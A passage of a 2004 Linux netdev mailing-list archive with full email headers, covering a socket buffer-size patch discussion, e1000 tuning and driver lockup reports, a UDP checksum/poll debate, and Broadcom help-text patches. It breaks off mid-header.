mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1N7Q5KO018605 for ; Sun, 22 Feb 2004 23:26:05 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1N7Q2b30110; Mon, 23 Feb 2004 02:26:02 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1N7Q2i32657; Mon, 23 Feb 2004 02:26:02 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1N7Q0kC023757; Mon, 23 Feb 2004 02:26:00 -0500 Date: Sun, 22 Feb 2004 23:26:01 -0800 From: "David S. Miller" To: Andi Kleen Cc: netdev@oss.sgi.com, mostrows@styx.uwaterloo.ca Subject: Re: [PATCH] Increase snd/rcv buffers in pppoe Message-Id: <20040222232601.481b8c57.davem@redhat.com> In-Reply-To: <20040222234750.GA78924@colin2.muc.de> References: <20040222234750.GA78924@colin2.muc.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3497 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On 23 Feb 2004 00:47:50 +0100 Andi Kleen wrote: > I noticed that a 64bit kernel only downloads half as fast over a PPPoE DSL > connection than a 32bit kernel on the same hardware. The reason seems > to be that PPPoE uses the default 64K snd/rcv buffers at socket creation. > The bigger sk_buff header size on the 64bit kernel pushed > the buffer into being too small and preventing good throughput. I have no problem with this, but hey while we're at it why not do the same for the core defaults instead? I see no real harm in this at all as it's not a pppoe specific issue. What say you Andi? From yedok@hotmail.com Mon Feb 23 00:20:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 00:20:31 -0800 (PST) Received: from hotmail.com (bay7-f94.bay7.hotmail.com [64.4.11.94]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1N8KSKO022591 for ; Mon, 23 Feb 2004 00:20:28 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 23 Feb 2004 00:20:23 -0800 Received: from 67.161.30.32 by by7fd.bay7.hotmail.msn.com with HTTP; Mon, 23 Feb 2004 08:20:22 GMT X-Originating-IP: [67.161.30.32] X-Originating-Email: [yedok@hotmail.com] X-Sender: yedok@hotmail.com From: "Kiran Kiran" To: linux-net@vger.kernel.org Cc: netdev@oss.sgi.com Subject: Tuning e1000 driver to avoid interface lock down Date: Mon, 23 Feb 2004 00:20:22 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 23 Feb 2004 08:20:23.0077 (UTC) FILETIME=[E1FCBD50:01C3F9E5] X-archive-position: 3498 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yedok@hotmail.com Precedence: bulk X-list: netdev Hi all, What are the best values for RxIntDelay, RxDescriptors, TxIntDelay and TxDescriptors for e1000 driver to get maximum connection rate. My tests on a dual CPU box running RHEL 3.0 SMP kernel (2.4.21-4ELsmp) are causing the network interface to lock down (with irqbalance process killed). With irqbalance process running the system locks down. I have set txqueuelen to 20000, killed irqbalance process and setup smp_affinity so that CPU1 (on dual PIII box) handles all interrupts generated by this device. When pounding the box with about 10000 HTTP conn/sec I see CPU1 utilized about 60% whereas CPU0 about 10% (BTW I was using a trivial filesize of 32 bytes ... don't ask why :-) After about 5 minutes I see the connection rate drop to 0 and ifconfig shows that the NIC is dropping packets. The following is the output of ifconfig RX packets:13468106 errors:2206 dropped:2206 overruns:1558 frame:0 TX packets:13466855 errors:0 dropped:0 overruns:0 carrier:4 collisions:0 txqueuelen:20000 RX bytes:1277599772 (1218.4 Mb) TX bytes:1277420502 (1218.2 Mb) Interrupt:24 Base address:0xc8e0 Memory:fe920000-fe940000 I set RxDescriptors to 4096 and RxIntDelay to 0 (BTW I see this even with RxIntDelay of 64). I also set the following: echo 300000 > /proc/sys/net/core/hot_list_length echo 300000 > /proc/sys/net/core/netdev_max_backlog The rest of the TCP tunables were obtained from the SpecWeb results pages. http://www.spec.org/osg/web99/results/res2003q3/web99-20030818-00245.html Also, what is the "idle=poll" setting suggested on the Specweb results page mean? I have not set this in my tests. Will it make any difference? If so what and why? I'll really appreciate it if someone can help me choose the correct values to tune the kernel, driver and card to stop the interface/system from locking down. Another thing, when the interface locks down (i.e., no network activity on it) I see the following CPU utilization: CPU states: cpu user nice system irq softirq iowait idle total 0.0% 0.0% 0.5% 0.0% 50.0% 0.0% 49.5% cpu00 0.0% 0.0% 1.0% 0.0% 0.0% 0.0% 99.0% cpu01 0.0% 0.0% 0.0% 0.0% 100.0% 0.0% 0.0% It appears as if the CPU is busy processing the ksoftirqd/1 process. Here is the output of stat for this process: % cat /proc/6/stat 6 (ksoftirqd/1) S 1 1 1 0 -1 64 0 0 0 0 0 0 0 0 34 19 0 0 125 0 0 4294967295 0 0 0 0 0 0 2147483647 0 0 3222466767 0 0 17 1 0 0 0 0 0 0 And if it is of any helf the output of softnet_stat % cat /proc/net/softnet_stat 000c9732 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000003 00cd9256 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000004 Any help will be greatly appreciated. tx Yedok _________________________________________________________________ Find and compare great deals on Broadband access at the MSN High-Speed Marketplace. http://click.atdmt.com/AVE/go/onm00200360ave/direct/01/ From cacophonix@yahoo.com Mon Feb 23 00:48:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 00:48:19 -0800 (PST) Received: from web14002.mail.yahoo.com (web14002.mail.yahoo.com [216.136.175.93]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1N8mEKO023276 for ; Mon, 23 Feb 2004 00:48:14 -0800 Message-ID: <20040223084814.80312.qmail@web14002.mail.yahoo.com> Received: from [209.233.238.122] by web14002.mail.yahoo.com via HTTP; Mon, 23 Feb 2004 00:48:14 PST Date: Mon, 23 Feb 2004 00:48:14 -0800 (PST) From: Cacophonix Subject: Re: [PATCH] hp100 -- fixes for new probing. To: shemminger@osdl.org, jt@bougret.hpl.hp.com Cc: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3499 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cacophonix@yahoo.com Precedence: bulk X-list: netdev (resending, copying netdev) Hi, Any idea if any of these patches may have broken hp100 when statically built into the kernel (i.e, not as a module)? Upgrading from 2.6.0-test6 to 2.6.3-mm2 (which does include the latest patchsets for hp100 from Stephen), the kernel locks up at boot at the point where hp100 detection/initialization normally occurs (the driver is compiled into the kernel). However, changing hp100 to a module, and loading it dynamically works. Any clues about which of the recent patches between 2.6.0-test6 and 2.6.3-mm2 might be causing the lockup? Thanks for any pointers. cheers, karthik The /proc/pci data for my hp100 nic: Bus 0, device 14, function 0: Ethernet controller: Hewlett-Packard Comp J2585B HP 10/100VG P (rev 0). IRQ 11. Master Capable. Latency=248. Min Gnt=8.Max Lat=32. I/O at 0xec00 [0xecff]. Non-prefetchable 32 bit memory at 0xfffac000 [0xfffadfff]. __________________________________ Do you Yahoo!? Yahoo! Mail SpamGuard - Read only the mail you want. http://antispam.yahoo.com/tools From yoshfuji@linux-ipv6.org Mon Feb 23 01:22:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 01:22:22 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1N9MIKO024021 for ; Mon, 23 Feb 2004 01:22:18 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 6F75D33CC9 for ; Mon, 23 Feb 2004 18:23:28 +0900 (JST) Resent-Date: Mon, 23 Feb 2004 18:23:28 +0900 (JST) Resent-Message-Id: <20040223.182328.17646092.yoshfuji@linux-ipv6.org> Resent-To: netdev@oss.sgi.com Resent-From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8BIT Subject: 2.6.2 issues (IPSec+NAT, RFC2684 bridge) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Date: Mon, 23 Feb 2004 04:06:36 -0500 Message-ID: <66187D861C1747499BE1365B74E036917B5F82@mdant.atkin.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: 2.6.2 issues (IPSec+NAT, RFC2684 bridge) Thread-Index: AcP57FcYf1hF0VovRPG0DIBSTwFSRQ== From: "Samofatov, Nickolay" To: Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org X-archive-position: 3500 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hi! Here is a list of minor issues I encountered when migrated my AMD64 machine to 2.6.2 kernel (64-bit). 1) Attempts to combine IPSec and NAT result in various kinds of failures. The easiest to reproduce is reliable hard system lock-up when IKE session needs to be initiated because of request from masqueraded machine. (workaround is to run cron job keeping IPSec connection active) 2) I had to add following line to my routing rules to get IPSec working locally: -- route add -m 172.20.0.0 netmask 255.255.0.0 gw 172.21.113.1 -- 172.20.0.0 here is VPN subnet I'm interested in. 172.21.113.1 is the address assigned to eth0 interface which is also IP address of this machine in VPN. Before I added this rule TCP connections from localhost failed with no route to host. The result works for most applications, but not all. For example, SSH fails. (my workaround is to use SOCKS5 proxy running locally for local SSH connections over IPSec tunnels) 3) RFC2684 bridge oopses when I try to run it with my ATM device (SpeedTouch USB) not plugged. (workaround is to check if device is really plugged and initialized in usbfs before attempting to start bridge) BTW, if you build SpeedTouch driver as module and build ATM bridge into kernel you get oopses during bridge initialization. (AFAIU, they work fine only if both built into kernel) 4) My attempts to use preemptable kernel failed miserably. Kernel produces lots of warnings during boot and usually oopses before system init finishes. If I disable RFC2684 bridge it successfully boots more often, but attempts to do any big work, for example to start X fail in any case. (workaround is to build non-preeptable kernel, bad for multimedia applications, but tolerable) If there is interest, I may provide as much information as required to resolve the problems. But in general, 2.6.2 kernel works great. When I find a way to work around hard system lockups when NPTL is used in combination with NVIDIA XFree drivers I'll be totally happy. Nickolay Samofatov - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From okir@suse.de Mon Feb 23 02:26:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 02:26:15 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NAPwKO025052 for ; Mon, 23 Feb 2004 02:25:58 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) by Cantor.suse.de (Postfix) with ESMTP id 5B3BE22424E; Mon, 23 Feb 2004 10:42:10 +0100 (CET) Received: by wotan.suse.de (Postfix, from userid 10572) id 0E125E18D; Mon, 23 Feb 2004 10:42:10 +0100 (CET) Date: Mon, 23 Feb 2004 10:42:10 +0100 From: Olaf Kirch To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: Re: [PATCH] 2.6 UDP recvmsg vs POSIX Message-ID: <20040223094209.GA12663@suse.de> References: <20040217121726.GD8554@suse.de> <20040221130853.4c98bad6.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline In-Reply-To: <20040221130853.4c98bad6.davem@redhat.com> User-Agent: Mutt/1.4i X-archive-position: 3501 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: okir@suse.de Precedence: bulk X-list: netdev On Sat, Feb 21, 2004 at 01:08:53PM -0800, David S. Miller wrote: > Well, first things first, using blocking sockets with select/poll is kind > of stupid programming. But that's the way many real world applications do it, including for instance the glibc sunrpc code. > I think we should fix it like the following, which is basically the last > part of Olaf's original patch in this thread. Just wait for another packet > if a blocking socket and checksum fails, else if non-blocking -EAGAIN is OK. But that breaks poll/recvmsg on a blocking socket, because poll with assert POLLIN, but the recvmsg call with block. I agree that plucking packets off the queue inside poll() is ugly. The alternative would be to just walk the queue to see if there is at least one packet with valid checksum, and clear POLLIN if there isn't, but otherwise leave the queue untouched. This would work in all except the most extreme scenarios where your recv queue is filled to the limit with bad packets, and any new packets with potentially good checksums get dropped. This would make it easy to DoS any UDP based service by spraying it with bad udp packets. Olaf -- Olaf Kirch | Stop wasting entropy - start using predictable okir@suse.de | tempfile names today! ---------------+ From ak@muc.de Mon Feb 23 02:54:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 02:54:05 -0800 (PST) Received: from colin2.muc.de (qmailr@colin2.muc.de [193.149.48.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NAs0KO027734 for ; Mon, 23 Feb 2004 02:54:01 -0800 Received: (qmail 3425 invoked by uid 3709); 23 Feb 2004 10:53:59 -0000 Date: 23 Feb 2004 11:53:59 +0100 Date: Mon, 23 Feb 2004 11:53:59 +0100 From: Andi Kleen To: "David S. Miller" Cc: Andi Kleen , netdev@oss.sgi.com, mostrows@styx.uwaterloo.ca Subject: Re: [PATCH] Increase snd/rcv buffers in pppoe Message-ID: <20040223105359.GA91938@colin2.muc.de> References: <20040222234750.GA78924@colin2.muc.de> <20040222232601.481b8c57.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040222232601.481b8c57.davem@redhat.com> User-Agent: Mutt/1.4.1i X-archive-position: 3502 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev On Sun, Feb 22, 2004 at 11:26:01PM -0800, David S. Miller wrote: > On 23 Feb 2004 00:47:50 +0100 > Andi Kleen wrote: > > > I noticed that a 64bit kernel only downloads half as fast over a PPPoE DSL > > connection than a 32bit kernel on the same hardware. The reason seems > > to be that PPPoE uses the default 64K snd/rcv buffers at socket creation. > > The bigger sk_buff header size on the 64bit kernel pushed > > the buffer into being too small and preventing good throughput. > > I have no problem with this, but hey while we're at it why not do the same > for the core defaults instead? I see no real harm in this at all as it's > not a pppoe specific issue. The only issue I can think of is that it could be a problem for someone with thousands of UDP (possible some other socket family) sockets. UDP doesn't have the memory controls TCPs has to deal with that. Upping the defaults to 128K could run him out of memory when many of the sockets are active at the same time. But increasing it to 128K is probably safe enough with the increased memory sizes of today. Here's a new patch. -Andi diff -u linux-2.6.3-averell32/include/linux/skbuff.h-o linux-2.6.3-averell32/include/linux/skbuff.h --- linux-2.6.3-averell32/include/linux/skbuff.h-o 2004-02-19 23:28:07.000000000 +0100 +++ linux-2.6.3-averell32/include/linux/skbuff.h 2004-02-25 12:42:07.000000000 +0100 @@ -271,8 +271,8 @@ *end; }; -#define SK_WMEM_MAX 65535 -#define SK_RMEM_MAX 65535 +#define SK_WMEM_MAX 131072 +#define SK_RMEM_MAX 131072 #ifdef __KERNEL__ /* From yoshfuji@linux-ipv6.org Mon Feb 23 02:59:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 02:59:58 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NAxoKO028180 for ; Mon, 23 Feb 2004 02:59:51 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 50D8433CC9; Mon, 23 Feb 2004 20:01:01 +0900 (JST) Date: Mon, 23 Feb 2004 20:01:01 +0900 (JST) Message-Id: <20040223.200101.39143636.yoshfuji@linux-ipv6.org> To: ak@muc.de Cc: davem@redhat.com, netdev@oss.sgi.com, mostrows@styx.uwaterloo.ca, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] Increase snd/rcv buffers in pppoe From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040223105359.GA91938@colin2.muc.de> References: <20040222234750.GA78924@colin2.muc.de> <20040222232601.481b8c57.davem@redhat.com> <20040223105359.GA91938@colin2.muc.de> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3503 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040223105359.GA91938@colin2.muc.de> (at 23 Feb 2004 11:53:59 +0100,Mon, 23 Feb 2004 11:53:59 +0100), Andi Kleen says: > -#define SK_WMEM_MAX 65535 > -#define SK_RMEM_MAX 65535 > +#define SK_WMEM_MAX 131072 > +#define SK_RMEM_MAX 131072 131071? --yoshfuji From ak@muc.de Mon Feb 23 03:17:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 03:17:07 -0800 (PST) Received: from colin2.muc.de (qmailr@colin2.muc.de [193.149.48.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NBH0KO029204 for ; Mon, 23 Feb 2004 03:17:01 -0800 Received: (qmail 11459 invoked by uid 3709); 23 Feb 2004 11:16:59 -0000 Date: 23 Feb 2004 12:16:59 +0100 Date: Mon, 23 Feb 2004 12:16:59 +0100 From: Andi Kleen To: "YOSHIFUJI Hideaki / ?$B5HF#1QL@" Cc: ak@muc.de, davem@redhat.com, netdev@oss.sgi.com, mostrows@styx.uwaterloo.ca Subject: Re: [PATCH] Increase snd/rcv buffers in pppoe Message-ID: <20040223111659.GB10681@colin2.muc.de> References: <20040222234750.GA78924@colin2.muc.de> <20040222232601.481b8c57.davem@redhat.com> <20040223105359.GA91938@colin2.muc.de> <20040223.200101.39143636.yoshfuji@linux-ipv6.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040223.200101.39143636.yoshfuji@linux-ipv6.org> User-Agent: Mutt/1.4.1i X-archive-position: 3504 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev On Mon, Feb 23, 2004 at 08:01:01PM +0900, YOSHIFUJI Hideaki / ?$B5HF#1QL@ wrote: > In article <20040223105359.GA91938@colin2.muc.de> (at 23 Feb 2004 11:53:59 +0100,Mon, 23 Feb 2004 11:53:59 +0100), Andi Kleen says: > > > -#define SK_WMEM_MAX 65535 > > -#define SK_RMEM_MAX 65535 > > +#define SK_WMEM_MAX 131072 > > +#define SK_RMEM_MAX 131072 > > 131071? Probably, but it doesn't make any difference; see how the skbuff socket accounting works. Really there isn't really a need to make it power of two (except for mystifying arbitary magic numbers for the users ;-) 130000 or 200000 would do as well. -Andi From yoshfuji@linux-ipv6.org Mon Feb 23 04:19:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 04:20:01 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NCJYKO007598 for ; Mon, 23 Feb 2004 04:19:35 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 6160B33CC9; Mon, 23 Feb 2004 20:38:43 +0900 (JST) Date: Mon, 23 Feb 2004 20:38:43 +0900 (JST) Message-Id: <20040223.203843.04073965.yoshfuji@linux-ipv6.org> To: ak@muc.de Cc: davem@redhat.com, netdev@oss.sgi.com, mostrows@styx.uwaterloo.ca, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] Increase snd/rcv buffers in pppoe From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040223111659.GB10681@colin2.muc.de> References: <20040223105359.GA91938@colin2.muc.de> <20040223.200101.39143636.yoshfuji@linux-ipv6.org> <20040223111659.GB10681@colin2.muc.de> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3505 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040223111659.GB10681@colin2.muc.de> (at 23 Feb 2004 12:16:59 +0100,Mon, 23 Feb 2004 12:16:59 +0100), Andi Kleen says: > On Mon, Feb 23, 2004 at 08:01:01PM +0900, YOSHIFUJI Hideaki / ?$B5HF#1QL@ wrote: > > In article <20040223105359.GA91938@colin2.muc.de> (at 23 Feb 2004 11:53:59 +0100,Mon, 23 Feb 2004 11:53:59 +0100), Andi Kleen says: > > > > > -#define SK_WMEM_MAX 65535 > > > -#define SK_RMEM_MAX 65535 > > > +#define SK_WMEM_MAX 131072 > > > +#define SK_RMEM_MAX 131072 > > > > 131071? > > Probably, but it doesn't make any difference; see how the skbuff socket > accounting works. Really there isn't really a need to make it power > of two (except for mystifying arbitary magic numbers for the users ;-) > 130000 or 200000 would do as well. But, others use (2^n - 1) and people will be confused if there are both 131071 and 131072. --yoshfuji From xose@wanadoo.es Mon Feb 23 05:37:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 05:37:23 -0800 (PST) Received: from smtp12.eresmas.com (smtp12.eresmas.com [62.81.235.112]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NDbHKO011287 for ; Mon, 23 Feb 2004 05:37:18 -0800 Received: from [192.168.108.51] (helo=mx01.eresmas.com) by smtp12.eresmas.com with esmtp (Exim 4.10) id 1AvGGi-0003gF-00; Mon, 23 Feb 2004 14:37:08 +0100 Received: from [80.102.90.133] (helo=wanadoo.es) by mx01.eresmas.com with esmtp (Exim 4.30) id 1AvGGi-0007UI-Nq; Mon, 23 Feb 2004 14:37:09 +0100 Message-ID: <403A00AA.3010707@wanadoo.es> Date: Mon, 23 Feb 2004 14:31:22 +0100 From: Xose Vazquez Perez User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.4.1) Gecko/20031114 X-Accept-Language: gl, es, en MIME-Version: 1.0 To: jgarzik@redhat.com, netdev@oss.sgi.com, marcelo.tosatti@cyclades.com Subject: [PATCH] detailled bcm help-2.4.25 Content-Type: multipart/mixed; boundary="------------060802080702010002080104" X-Spam-Score: 0.0 (/) X-archive-position: 3506 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xose@wanadoo.es Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------060802080702010002080104 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit aginst 2.4.25 This patch adds more realistic information about bcm NICs. People only know the commercial names and not about chips names. -- x86-64 GenuineIntel --------------060802080702010002080104 Content-Type: text/plain; name="bcm-help.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="bcm-help.diff" --- linux-2.4.25/Documentation/Configure.help 2004-02-05 23:00:09.000000000 +0100 +++ n/Documentation/Configure.help 2004-02-23 14:28:05.000000000 +0100 @@ -11859,7 +11859,7 @@ Broadcom Tigon3 support CONFIG_TIGON3 - This driver supports Broadcom Tigon3 based gigabit Ethernet cards. + This driver supports Broadcom NetXtreme BCM570X based gigabit Ethernet cards. If you want to compile this driver as a module ( = code which can be inserted in and removed from the running kernel whenever you want), @@ -12348,9 +12348,7 @@ Broadcom 4400 ethernet support (EXPERIMENTAL) CONFIG_B44 - If you have a network (Ethernet) controller of this type, say Y and - read the Ethernet-HOWTO, available from - . + This driver supports Broadcom BCM440X based 10/100 Ethernet cards. If you want to compile this as a module ( = code which can be inserted in and removed from the running kernel whenever you want), --------------060802080702010002080104-- From xose@wanadoo.es Mon Feb 23 05:37:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 05:37:24 -0800 (PST) Received: from smtp15.in.mad.eresmas.com (smtp15.eresmas.com [62.81.235.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NDbIKO011289 for ; Mon, 23 Feb 2004 05:37:19 -0800 Received: from [192.168.108.52] (helo=mx02.eresmas.com) by smtp15.in.mad.eresmas.com with esmtp (Exim 4.30) id 1AvGGn-00040G-Cq; Mon, 23 Feb 2004 14:37:13 +0100 Received: from [80.102.90.133] (helo=wanadoo.es) by mx02.eresmas.com with esmtp (Exim 4.30) id 1AvGGm-0002Xe-PH; Mon, 23 Feb 2004 14:37:13 +0100 Message-ID: <403A011D.1050909@wanadoo.es> Date: Mon, 23 Feb 2004 14:33:17 +0100 From: Xose Vazquez Perez User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.4.1) Gecko/20031114 X-Accept-Language: gl, es, en MIME-Version: 1.0 To: jgarzik@redhat.com, Andrew Morton , netdev@oss.sgi.com Subject: [PATCH] detailled bcm help - 2.6.3 Content-Type: multipart/mixed; boundary="------------050307040908070904040101" X-Spam-Score: 0.0 (/) X-archive-position: 3507 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xose@wanadoo.es Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------050307040908070904040101 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This patch adds more realistic information about bcm NICs. People only know the commercial names and not about chips names. -- x86-64 GenuineIntel --------------050307040908070904040101 Content-Type: text/plain; name="bcm-help.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="bcm-help.diff" --- linux-2.6.2/drivers/net/Kconfig 2004-02-20 14:39:40.000000000 +0100 +++ n/drivers/net/Kconfig 2004-02-23 14:17:23.000000000 +0100 @@ -1275,9 +1275,7 @@ tristate "Broadcom 4400 ethernet support (EXPERIMENTAL)" depends on NET_PCI && PCI && EXPERIMENTAL help - If you have a network (Ethernet) controller of this type, say Y and - read the Ethernet-HOWTO, available from - . + This driver supports Broadcom BCM440X based 10/100 Ethernet cards. To compile this driver as a module, choose M here and read . The module will be @@ -2056,7 +2054,7 @@ tristate "Broadcom Tigon3 support" depends on PCI help - This driver supports Broadcom Tigon3 based gigabit Ethernet cards. + This driver supports Broadcom NetXtreme BCM570X based gigabit Ethernet cards. To compile this driver as a module, choose M here: the module will be called tg3. This is recommended. --------------050307040908070904040101-- From davem@redhat.com Mon Feb 23 09:42:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 23 Feb 2004 09:42:23 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1NHgJKO030753 for ; Mon, 23 Feb 2004 09:42:19 